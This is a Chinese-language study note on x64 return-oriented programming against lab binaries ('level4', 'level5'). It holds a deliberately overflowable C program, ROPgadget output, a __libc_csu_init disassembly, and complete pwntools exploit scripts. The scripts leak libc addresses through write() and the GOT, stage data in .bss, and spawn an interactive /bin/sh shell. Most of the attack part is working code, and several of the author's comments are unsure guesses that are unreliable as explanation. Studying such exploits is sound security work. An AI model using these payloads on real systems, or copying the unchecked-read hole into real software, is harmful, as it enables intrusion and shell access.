rop x64分析记录
#
#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}#!python
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so.6')
p = process('./level4')
#p = remote('127.0.0.1',10001)
binsh_addr_offset = next(libc.search('/bin/sh')) -libc.symbols['system'] //字符串偏移
print "binsh_addr_offset = " + hex(binsh_addr_offset)
pop_ret_offset = 0x0000000000022a12 - libc.symbols['system'] //
print "pop_ret_offset = " + hex(pop_ret_offset)
#pop_pop_call_offset = 0x00000000000f4739 - libc.symbols['system']
#print "pop_pop_call_offset = " + hex(pop_pop_call_offset)
print "\n##########receiving system addr##########\n"
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
print "system_addr = " + hex(system_addr)
binsh_addr = system_addr + binsh_addr_offset
print "binsh_addr = " + hex(binsh_addr)
pop_ret_addr = system_addr + pop_ret_offset
print "pop_ret_addr = " + hex(pop_ret_addr)
#pop_pop_call_addr = system_addr + pop_pop_call_offset
#print "pop_pop_call_addr = " + hex(pop_pop_call_addr)
p.recv()
payload = "\x00"*136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
#payload = "\x00"*136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)
print "\n##########sending payload##########\n"
p.send(payload)
p.interactive()objdump -d ./level5观察一下__libc_csu_init()这个函数。
x86中参数都是保存在栈上,但在x64中的前六个参数依次保存在RDI, RSI, RDX, RCX, R8和 R9中，如果还有更多的参数的话才会保存在栈上。
#!bash
$ ROPgadget --binary level4 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006d2 : pop rbp ; ret
0x00000000004006d1 : pop rbx ; pop rbp ; ret
0x0000000000400585 : ret
0x0000000000400735 : ret 0xbdb8
结果并不理想，因为程序比较小，在目标程序中并不能找到pop rdi; ret这个gadget。怎么办呢？解决方案是寻找libc.so中的gadgets。因为程序本身会load libc.so到内存中并且会打印system()的地址。所以当我们找到gadgets后可以通过system()计算出偏移量后调用对应的gadgets。
#!bash
$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
0x000000000001f27d : pop rdi ; pop rbp ; ret
0x00000000000205cd : pop rdi ; pop rbx ; pop rbp ; ret
0x0000000000073033 : pop rdi ; pop rbx ; ret
0x0000000000022a12 : pop rdi ; ret说我们用objdump -d ./level5观察一下__libc_csu_init()这个函数。一般来说，只要程序调用了libc.so，程序都会有这个函数用来对libc进行初始化操作。
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)
4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)
4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)
4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)
4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)
4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)
4005cc: 48 83 ec 38 sub $0x38,%rsp
4005d0: 4c 29 e5 sub %r12,%rbp
4005d3: 41 89 fd mov %edi,%r13d
4005d6: 49 89 f6 mov %rsi,%r14
4005d9: 48 c1 fd 03 sar $0x3,%rbp
4005dd: 49 89 d7 mov %rdx,%r15
4005e0: e8 1b fe ff ff callq 400400 <_init>
4005e5: 48 85 ed test %rbp,%rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor %ebx,%ebx
4005ec: 0f 1f 40 00 nopl 0x0(%rax)
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
//这个表达式刚开始没懂，不过猜测应该 %r15=%rsp-0x30
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq 看到利用0x400606处的代码我们可以控制rbx,rbp,r12,r13,r14和r15的值，随后利用0x4005f0处的代码我们将r15的值赋值给rdx, r14的值赋值给rsi,r13的值赋值给edi，随后就会调用call qword ptr [r12+rbx*8]。这时候我们只要再将rbx的值赋值为0，再通过精心构造栈上的数据，我们就可以控制pc去调用我们想要调用的函数了（比如说write函数）。执行完call qword ptr [r12+rbx*8]之后，程序会对rbx+=1，然后对比rbp和rbx的值，如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等，我们可以将rbp的值设置为1，因为之前已经将rbx的值设置为0了。大概思路就是这样，我们下来构造ROP链。
先构造payload1，利用write()输出write在内存中的地址。注意我们的gadget是call qword ptr [r12+rbx*8]，所以我们应该使用write.got的地址而不是write.plt的地址。并且为了返回到原程序中，重复利用buffer overflow的漏洞，我们需要继续覆盖栈上的数据，直到把返回值覆盖成目标函数的main函数为止。
大致got和plt的关系是这样的。plt目测有个可以在got写地址的函数，首次调用会计算真是函数地址，写入got。之后就会直接got调用真实地址。
这里调用call 应该只能是真实地址。这里跳转地址应该也可以，有点不明白。
#!bash
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
#刚开始没懂，后来发现add $0x38,%rsp这句好像直接把上面的都弹出去了
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)rbx=0,rbp=0,r12=1,r13=got_write,r14=1,r15=got_write,
rdx=got_write,rsi=1,rdi=got_write,rbx=0,rbp=0,r12=1,
RDI, RSI, RDX, RCX, R8和 R9
got_write,1,got_write
当我们exp在收到write()在内存中的地址后，就可以计算出system()在内存中的地址了。接着我们构造payload2，利用read()将system()的地址以及“/bin/sh”读入到.bss段内存中。
#!bash
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)最后我们构造payload3,调用system()函数执行“/bin/sh”。注意，system()的地址保存在了.bss段首地址上，“/bin/sh”的地址保存在了.bss段首地址+8字节上。
#!bash
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)#!python
#!/usr/bin/env python
from pwn import *
elf = ELF('level5')
libc = ELF('libc.so.6')
p = process('./level5')
#p = remote('127.0.0.1',10001)
got_write = elf.got['write']
print "got_write: " + hex(got_write)
got_read = elf.got['read']
print "got_read: " + hex(got_read)
main = 0x400564
off_system_addr = libc.symbols['write'] - libc.symbols['system']
print "off_system_addr: " + hex(off_system_addr)
#rdi= edi = r13, rsi = r14, rdx = r15
#write(rdi=1, rsi=write.got, rdx=4)
payload1 = "\x00"*136
payload1 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload1 += "\x00"*56
payload1 += p64(main)
p.recvuntil("Hello, World\n")
print "\n#############sending payload1#############\n"
p.send(payload1)
sleep(1)
write_addr = u64(p.recv(8))
print "write_addr: " + hex(write_addr)
system_addr = write_addr - off_system_addr
print "system_addr: " + hex(system_addr)
bss_addr=0x601028
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#read(rdi=0, rsi=bss_addr, rdx=16)
payload2 = "\x00"*136
payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload2 += "\x00"*56
payload2 += p64(main)
print "\n#############sending payload2#############\n"
p.send(payload2)
sleep(1)
p.send(p64(system_addr))
p.send("/bin/sh\0")
sleep(1)
p.recvuntil("Hello, World\n")
#rdi= edi = r13, rsi = r14, rdx = r15
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00"*136
payload3 += p64(0x400606) + p64(0) +p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]
payload3 += "\x00"*56
payload3 += p64(main)
print "\n#############sending payload3#############\n"
sleep(1)
p.send(payload3)
p.interactive()
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